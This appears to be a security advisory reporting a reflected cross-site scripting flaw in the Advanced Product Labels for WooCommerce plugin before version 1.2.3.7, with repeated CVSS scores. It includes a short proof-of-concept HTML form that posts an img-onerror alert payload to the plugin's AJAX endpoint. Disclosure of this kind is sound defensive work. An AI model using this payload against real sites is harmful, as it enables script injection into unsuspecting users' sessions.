Krzysztof ZającWPEX-ID:5E5FDCF4-EC2B-4E73-8009-05606B2D5164Advanced Product Labels for WooCommerce < 1.2.3.7 - Reflected Cross-Site Scripting
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
The plugin does not sanitise and escape the tax_color_set_type parameter before outputting it back in the berocket_apl_color_listener AJAX action’s response, leading to a Reflected Cross-Site Scripting
As any authenticated user:
<html>
<form action="https://example.com/wp-admin/admin-ajax.php?action=berocket_apl_color_listener" method="POST">
<input type="text" value='"><img src onerror=alert(/XSS/)>' name="tax_color_set_type">
<input type="submit" value="Send">
</form>
</html>Related
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N